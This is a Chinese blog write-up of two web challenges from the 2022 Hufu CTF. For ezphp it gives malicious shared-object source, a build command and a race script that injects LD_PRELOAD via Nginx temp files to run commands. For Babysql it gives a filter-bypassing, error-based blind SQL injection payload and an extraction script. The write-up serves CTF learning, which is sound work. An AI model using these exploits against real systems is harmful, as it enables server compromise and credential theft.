2022虎符CTF WEB赛后复现


1、ezphp

参考Jacko师傅的这篇虎符CTF

写的已经很详细了,先简单梳理一下题目,题目与P师傅的这篇文章类似我是如何利用环境变量注入执行任意命令。简单来说就是不同的系统,他的system命令调用的命令不同。

php中调用system本质上是调用了sh -c,在不同操作系统中:

  • debian:sh→dash
  • centos:sh→bash

总结:

  • BASH_ENV:可以在bash -c的时候注入任意命令
  • ENV:可以在sh -i -c的时候注入任意命令
  • PS1:可以在shbash交互式环境下执行任意命令
  • PROMPT_COMMAND:可以在bash交互式环境下执行任意命令
  • BASH_FUNC_xxx%%:可以在bash -csh -c的时候执行任意命令

题目就是P师傅没解决的debian系统

而这篇文章解决了这个问题hxp CTF 2021 - A New Novel LFI

Nginx对于请求的body内容会以临时文件的形式存储起来

大概思路是:

  • 请求一个过大的body,会在/proc/self/fd目录下生成临时文件
  • 传一个填满大量脏数据的so文件
  • 竞争LD_PRELOAD包含 proc 目录下的临时文件

这是生成so的源文件

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
  unsetenv("LD_PRELOAD");
  system("id");
  system("cat /flag > /var/www/html/flag");
}

注意,在代码里加许多无用代码,我加了两万行的

a=0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0+0;

如图

使用以下命令编译生成so文件

gcc -shared -fPIC hook_exp.c -o hook_exp.so

后来生成的恶意so文件有163kb

接下来就是竞争脚本,注意url和恶意so文件的路径。

import requests
import _thread

f=open("hook_exp.so",'rb')
data=f.read()
url="http://localhost:12333/"

def upload():
    print("start upload")
    while True:
        requests.get(url+"index.php",data=data)

def preload(fd):
    while True:
        print("start ld_preload")
        for pid in range(10,20):
            file = f'/proc/{pid}/fd/{fd}'
            # print(url+f"index.php?env=LD_PRELOAD={file}")
            resp = requests.get(url+f"index.php?env=LD_PRELOAD={file}")
            # print(resp.text)
            if 'uid' in resp.text:
                print("finished")
                exit()

try:
    _thread.start_new_thread(upload, ())
    for fd in range(1, 20):
        _thread.start_new_thread(preload,(fd,))
except:
    print("error")

while True:
    pass

当脚本运行出现finished,直接url访问、flag就会自动下载flag

2、Babysql

这里直接搬运Jacko师傅的,我没搞出来

hint.md

```sql
CREATE TABLE `auth` (
  `id` int NOT NULL AUTO_INCREMENT,
  `username` varchar(32) NOT NULL,
  `password` varchar(32) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
```

```js
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
  id: number;
  username: string;
}

function safe(str: string): string {
  const r = str
    .replace(/[\s,()#;*\-]/g, '')
    .replace(/^.*(?=union|binary).*$/gi, '')
    .toString();
  return r;
}

@Injectable()
export class AuthService {
  constructor(private connectionProvider: ConnectionProvider) {}

  async validateUser(username: string, password: string): Promise<User> | null {
    const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
    const [rows] = await this.connectionProvider.use((c) => c.query(sql));
    const user = rows[0];
    if (user && user.password === password) {
      // eslint-disable-next-line @typescript-eslint/no-unused-vars
      const { password, ...result } = user;
      return result;
    }
    return null;
  }
}

这道题出得挺好的

首先看代码逻辑,先对输入的username进行查询,如果有,则用输入的password同查询出来的比较

看了这个首先想到的当然是union select,然而这里过滤了,当然这个过滤是绕不了的,双写不行,这里存在就把这个字符串替空,而不只是union

再看看hint中的regexp,在过滤了()的前提下,regexp确实是个好函数

就想着能不能通过regexp把用户名密码匹配出来,想到了盲注

然而,盲注并非易事,这里不管有没有查询出结果,只要没拿到最终的用户名密码之前,都返回null,这就无法进行布尔盲注了

那有没有可能进行时间盲注呢?没有括号,这里调用不了像sleep()之类的函数,哎?再结合regexp,会不会正则匹配进行延时,然而并没有想象这么简单,进过本地一番测试发现,一延时mysql直接报Timeout了 ,没法利用

然而就在没思绪地用regexp测试的时候,发现当regexp传入不合语法匹配规则的时候会报错,报错?这不是可以用报错进行布尔盲注了吗?

这时候刷新一下题目信息,还是零解,赶紧冲!

说干就干,经过几番优化之后,构造出来

SELECT * FROM auth WHERE username='' or 1 or '' regexp '?' LIMIT 1;

构造是构造出来了,其中1为布尔点,然而当我换成regexp的时候出问题了

SELECT * FROM auth WHERE username='' or username regexp '^a' or '' regexp '?' LIMIT 1;

我原以为当前面匹配的时候,就不会执行后面错误的正则匹配了,然而我错了,regexp的语法检查是在查询判断之前进行的

后面换了其他一些报错的方法,最后发现通过整型溢出可以成功

SELECT * FROM auth WHERE username='' or (username regexp '^a')+~0 or '' LIMIT 1;

当匹配的时候为真,溢出报错,不匹配的时候正常不报错

现在问题就变成了怎么去掉括号,加法的优先级高过regexp,并不是随随便便可以去掉的,这里也想了很久,最后用case来解决了这个问题

SELECT * FROM auth WHERE username=''||case`username`regexp'^a'when'1'then~0+1+''else'0'end||'' LIMIT 1;

这里有几个点:

  • usernameregexp之间怎么隔开?这里把username用反引号引起来
  • whenthen怎么隔开?这里用了字符的强转型
  • then后的1else怎么隔开?这里加多一个空字符
  • 最后end怎么闭合后面的单引号?这里加多一个**||**

这些可能都是一些看到了payload觉得很简单,然而真正亲手尝试的时候会遇到各种各样的坑

后面就是脚本了,同样也并不顺利,和队友交流了之后还是花了好久,不过最终还是做出来了

  • 特殊字符怎么办?用反引号进行转义
  • 大小写怎么区分?用COLLATE utf8mb4_bin

直接上脚本

import requests
url='http://xxx/login'
flag=''
for i in range(1,50):
    for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
        temp=ascii
        if(temp in '^!?$'):
            temp="\\\\\\"+temp
        payload={
            'password':'xxx',
            'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
        }
        response=requests.post(url=url, data=payload)
        print(payload)
        print(response.text)
        if '500' in response.text:
            flag+=temp
            print(flag)
            break
        print(ascii)

跑出用户名密码直接登陆就可以了

3、Baby Router Updater和4、ezchain,一个杂揉了web、crypto、misc、reverse,一个Java,我不会


文章作者: Tajang
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Tajang !
评论
  目录